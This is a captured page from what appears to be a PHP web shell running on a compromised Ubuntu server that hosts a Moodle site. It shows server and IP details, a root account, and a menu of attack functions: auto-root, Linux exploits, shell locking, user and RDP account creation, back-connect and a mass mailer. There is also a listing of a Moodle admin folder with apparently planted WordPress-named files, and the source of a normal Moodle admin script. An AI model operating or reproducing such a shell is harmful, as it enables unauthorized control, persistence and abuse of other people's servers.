Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxrwxr-x
cli
[ DIR ]
drwxrwxr-x
mnet
[ DIR ]
drwxrwxr-x
registration
[ DIR ]
drwxrwxr-x
roles
[ DIR ]
drwxrwxr-x
settings
[ DIR ]
drwxrwxr-x
templates
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxr-x
tool
[ DIR ]
drwxrwxr-x
user
[ DIR ]
drwxrwxr-x
webservice
[ DIR ]
drwxrwxr-x
.htaccess
197
B
-r--r--r--
admin_settings_search_form.php
1.64
KB
-rw-rw-r--
antiviruses.php
3.38
KB
-rw-rw-r--
auth.php
2.92
KB
-rw-rw-r--
auth_config.php
8.58
KB
-rw-rw-r--
blocks.php
9.54
KB
-rw-rw-r--
category.php
6.11
KB
-rw-rw-r--
courseformats.php
2.93
KB
-rw-rw-r--
cron.php
2.71
KB
-rw-rw-r--
dataformats.php
2.71
KB
-rw-rw-r--
editors.php
2.94
KB
-rw-rw-r--
enrol.php
4.26
KB
-rw-rw-r--
environment.php
4.17
KB
-rw-rw-r--
environment.xml
82.58
KB
-rw-rw-r--
filters.php
8.7
KB
-rw-rw-r--
index.php
36.83
KB
-rw-rw-r--
lib.php
4.49
KB
-rw-rw-r--
licenses.php
1.53
KB
-rw-rw-r--
localplugins.php
2.66
KB
-rw-rw-r--
mailout-debugger.php
2.2
KB
-rw-rw-r--
media.php
2.45
KB
-rw-rw-r--
message.php
2.52
KB
-rw-rw-r--
modules.php
6.4
KB
-rw-rw-r--
oauth2callback.php
1.88
KB
-rw-rw-r--
phpinfo.php
968
B
-rw-rw-r--
plagiarism.php
3.17
KB
-rw-rw-r--
plugins.php
8.89
KB
-rw-rw-r--
portfolio.php
8.57
KB
-rw-rw-r--
process_email.php
1.72
KB
-rw-rw-r--
purgecaches.php
2.15
KB
-rw-rw-r--
qbehaviours.php
8.47
KB
-rw-rw-r--
qtypes.php
9.17
KB
-rw-rw-r--
renderer.php
87.56
KB
-rw-rw-r--
reports.php
4.11
KB
-rw-rw-r--
repository.php
16.84
KB
-rw-rw-r--
repositoryinstance.php
5.79
KB
-rw-rw-r--
resetemoticons.php
1.63
KB
-rw-rw-r--
search.php
2.67
KB
-rw-rw-r--
searchareas.php
10.53
KB
-rw-rw-r--
searchreindex.php
3.16
KB
-rw-rw-r--
settings.php
5.28
KB
-rw-rw-r--
thirdpartylibs.php
2.56
KB
-rw-rw-r--
timezone.php
1.62
KB
-rw-rw-r--
tools.php
3.55
KB
-rw-rw-r--
updatesetting.php
2.46
KB
-rw-rw-r--
upgrade.txt
823
B
-rw-rw-r--
upgradesettings.php
2.48
KB
-rw-rw-r--
user.php
17.66
KB
-rw-rw-r--
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : repositoryinstance.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. require_once(__DIR__ . '/../config.php'); require_once($CFG->dirroot . '/repository/lib.php'); require_once($CFG->libdir . '/adminlib.php'); require_sesskey(); // id of repository $edit = optional_param('edit', 0, PARAM_INT); $new = optional_param('new', '', PARAM_PLUGIN); $hide = optional_param('hide', 0, PARAM_INT); $delete = optional_param('delete', 0, PARAM_INT); $sure = optional_param('sure', '', PARAM_ALPHA); $type = optional_param('type', '', PARAM_PLUGIN); $downloadcontents = optional_param('downloadcontents', false, PARAM_BOOL); $context = context_system::instance(); $pagename = 'repositorycontroller'; if ($edit){ $pagename = 'repositoryinstanceedit'; } else if ($delete) { $pagename = 'repositorydelete'; } else if ($new) { $pagename = 'repositoryinstancenew'; } admin_externalpage_setup($pagename, '', null, new moodle_url('/admin/repositoryinstance.php')); require_capability('moodle/site:config', $context); $baseurl = new moodle_url("/$CFG->admin/repositoryinstance.php", array('sesskey'=>sesskey())); $parenturl = new moodle_url("/$CFG->admin/repository.php", array( 'sesskey'=>sesskey(), 'action'=>'edit', )); if ($new) { $parenturl->param('repos', $new); } else { $parenturl->param('repos', $type); } $return = true; if (!empty($edit) || !empty($new)) { if (!empty($edit)) { $instance = repository::get_instance($edit); if (!$instance->can_be_edited_by_user()) { throw new repository_exception('nopermissiontoaccess', 'repository'); } $instancetype = repository::get_type_by_id($instance->options['typeid']); $classname = 'repository_' . $instancetype->get_typename(); $configs = $instance->get_instance_option_names(); $plugin = $instancetype->get_typename(); $typeid = $instance->options['typeid']; } else { $plugin = $new; $typeid = null; $instance = null; } // display the edit form for this instance $mform = new repository_instance_form('', array('plugin' => $plugin, 'typeid' => $typeid, 'instance' => $instance, 'contextid' => $context->id)); // end setup, begin output if ($mform->is_cancelled()){ redirect($parenturl); exit; } else if ($fromform = $mform->get_data()){ if ($edit) { $settings = array(); $settings['name'] = $fromform->name; if (!$instance->readonly) { foreach($configs as $config) { if (isset($fromform->$config)) { $settings[$config] = $fromform->$config; } else { $settings[$config] = null; } } } $success = $instance->set_option($settings); } else { $success = repository::static_function($plugin, 'create', $plugin, 0, $context, $fromform); $data = data_submitted(); } if ($success) { core_plugin_manager::reset_caches(); redirect($parenturl); } else { print_error('instancenotsaved', 'repository', $parenturl); } exit; } else { echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('configplugin', 'repository_'.$plugin)); echo $OUTPUT->box_start(); $mform->display(); echo $OUTPUT->box_end(); $return = false; } } else if (!empty($hide)) { $instance = repository::get_type_by_typename($hide); $instance->hide(); core_plugin_manager::reset_caches(); $return = true; } else if (!empty($delete)) { $instance = repository::get_instance($delete); if ($instance->readonly) { // If you try to delete an instance set as readonly, display an error message. throw new repository_exception('readonlyinstance', 'repository'); } else if (!$instance->can_be_edited_by_user()) { throw new repository_exception('nopermissiontoaccess', 'repository'); } if ($sure) { if ($instance->delete($downloadcontents)) { $deletedstr = get_string('instancedeleted', 'repository'); core_plugin_manager::reset_caches(); redirect($parenturl, $deletedstr, 3); } else { print_error('instancenotdeleted', 'repository', $parenturl); } exit; } echo $OUTPUT->header(); echo $OUTPUT->box_start('generalbox', 'notice'); $continueurl = new moodle_url($baseurl, array( 'type' => $type, 'delete' => $delete, 'sure' => 'yes', )); $continueanddownloadurl = new moodle_url($continueurl, array( 'downloadcontents' => 1 )); $message = get_string('confirmdelete', 'repository', $instance->name); echo html_writer::tag('p', $message); echo $OUTPUT->single_button($continueurl, get_string('continueuninstall', 'repository')); echo $OUTPUT->single_button($continueanddownloadurl, get_string('continueuninstallanddownload', 'repository')); echo $OUTPUT->single_button($parenturl, get_string('cancel')); echo $OUTPUT->box_end(); $return = false; } if (!empty($return)) { redirect($parenturl); } echo $OUTPUT->footer();
Close